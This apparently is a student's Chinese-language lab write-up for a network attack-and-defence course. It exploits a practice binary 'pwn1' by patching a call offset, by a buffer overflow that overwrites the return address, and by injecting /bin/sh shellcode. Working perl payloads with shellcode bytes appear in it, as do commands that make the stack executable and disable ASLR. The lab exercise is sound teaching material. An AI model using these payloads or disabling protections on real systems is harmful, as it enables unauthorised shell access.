20212914 2021-2022-2 《网络攻防实践》第九次(第十一周)作业

1.实践内容

1.1 实践介绍

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

1.2 学习内容

什么是漏洞,漏洞有什么危害?

漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。

出现漏洞可能会被骇客利用,破坏或非法访问系统,进行非法行为,从而造成损失。

NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP:NOP指令即“空指令”,机器码为:0x90
  • JNE:条件转移指令,如果不相等则跳转,机器码为:0x75
  • JE:条件转移指令,如果相等则跳转,机器码为:0x74
  • JMP:无条件转移指令,机器码为:
  • Short Jump(短跳转):0xEB;
  • Near Jump(近跳转):0xE9;
  • Far Jump(远跳转):0xEA
  • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果,机器码为:0x39

2.实践过程

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

(1)下载并解压文件pwn1,用objdump -d pwn1 | more反汇编并分页显示。

(2)通过/main找到主函数位置,找到汇编指令:call 8048491 ,他对应的机器指令为:e8 d7 ff ff ff,e8为跳转,后面的四个字节为偏移地址。执行call指令,保存堆栈信息,并且EIP会指向下一条指令地址,即80484ba。

经过计算,我们可以发现。当执行e8 d7ffffff时,就会执行EIP + d7ffffff这个位置的指令。而d7ffffff是补码,表示-41,41=0x29。80484ba + d7ffffff= 80484ba-0x29正好是8048491,即foo函数所在地址。

所以,只要修改机器指令,修改偏移地址,使执行call函数时,转到调用getshell函数,就完成了攻击。

(3)getshell函数的地址为0804847d,通过计算器,计算0804847d-80484ba,得到补码,即要修改的偏移地址为:c3ffffff。

下面来修改可执行文件。将call指令的目标地址由d7ffffff变为c3ffffff。

使用vi编辑pwn2文件,打开后发现是一堆乱码

是因为已汇编为机器代码,需要进入十六进制模式,输入:%!xxd,并输入/d7查找e8d7ffffff

接下来修改地址,将d7改为c3,按r后可以更改,输入:%!xxd -r将16进制转换为原格式后退出。

再输入objdump -d pwn2 | more反汇编查看指令是否更改

(4)现在运行pwn1和pwn2。发现pwn2可以输入系统命令,pwn1还是输入字符串并输出的功能。可见,攻击成功。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

(1)分析foo代码
该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞,即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,当这段字符串设定后,就有可能会覆盖返回地址,使返回地址指向getshell,达到攻击目的。

分析lea -0x1c(%ebp),%eax语句,我们知道:foo函数读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,这样就可以覆盖返回地址。

(2)确认输入字符串哪几个字符会覆盖到返回地址
使用gdb调试功能,输入32个字符,查看调试结果,其中EIP的值为0x35353535。

再次调试程序,继续查看EIP中的值。EIP中值为0x34333231,分别为4、3、2、1的ASCII码值,即输入的1234被覆盖到堆栈上的返回地址。

(3)1234最终会覆盖到堆栈上的返回地址,只要把1234替换为getShell的内存地址,输给pwn1,pwn1就会跳转到getShell函数。
由于数据按小端存储,因此我们应该输入:
11111111222222223333333344444444\x7d\x84\x04\x08
由于没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,需要用到perl功能翻译
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"'

将该字符串用./pwn1输入,运行后输入该字符串,会提示段错误,没有跳转到getShell函数,说明我们复制显示出的字符串并不是翻译得到的正确值。

因此使用16进制查看指令xxd查看input文件的内容。然后将input的输入,通过管道符“|”,作为pwn1的输入(cat input;cat) | ./pwn1。可以看到攻击成功,我们可以执行系统指令了。

3.注入一个自己制作的shellcode并运行这段shellcode

(1)准备工作
依次输入:
apt-get install execstack //安装execstack命令
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

(2)构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
nop一为是了填充,二是作为“着陆区/滑行区”
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode

利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的\x4\x3\x2\x1会覆盖到堆栈上的返回地址。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

(3)接下来确定\x4\x3\x2\x1到底该填什么:
打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn1

再开另外一个终端,用gdb来调试pwn1这个进程:
用ps -ef | grep pwn1命令找到pwn1的进程号是:1689

用gdb、attach 1689命令启动gdb调试这个进程:

用disassemble foo命令反汇编,通过设置断点,来查看注入buf的内存地址:
对foo进行反汇编查看到ret的地址为0x080484ae

在0x080484ae处设置断点,输入break *0x080484ae
在之前的终端中按下回车,然后在调试的终端中输入c继续运行。
输入info r esp查看栈顶指针所在的位置,并查看改地址存放的数据:

用x/16x 0xffffd16c命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后(+4),所以地址应为0xffffd170:

(4)修改文件中代码为
perl -e 'print "A" x 32;print "\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
执行(cat input_shellcode;cat) | ./pwn1,如下图所示攻击成功,执行shell功能:

3.学习中遇到的问题及解决

4.实践总结

本次实验通过上机操作,尝试了三种方法的攻击手段,漏洞的原因是一段程序产生的,所以这需要我们很熟悉汇编指令。第一种方法简单粗暴,直接修改机器指令,这仅需要我们熟悉代码。后两种方法需要对堆栈熟练掌握,才能摸清溢出到何处,如何找到EIP的地址等。在操作过程中还需要熟悉linux命令,比如perl,管道符的方法将perl的内容写进pwn中等,当一条路走不通时,如果你懂得变通,并且熟悉很多指令,你就可以想到其他的方法去解决问题。真实的漏洞情况肯定比这个困难的多,这需要我们拥有更多的知识,更多的技巧和更多的头脑。

posted @ 2022-05-10 20:29  是过客啊  阅读(84)  评论(0编辑  收藏  举报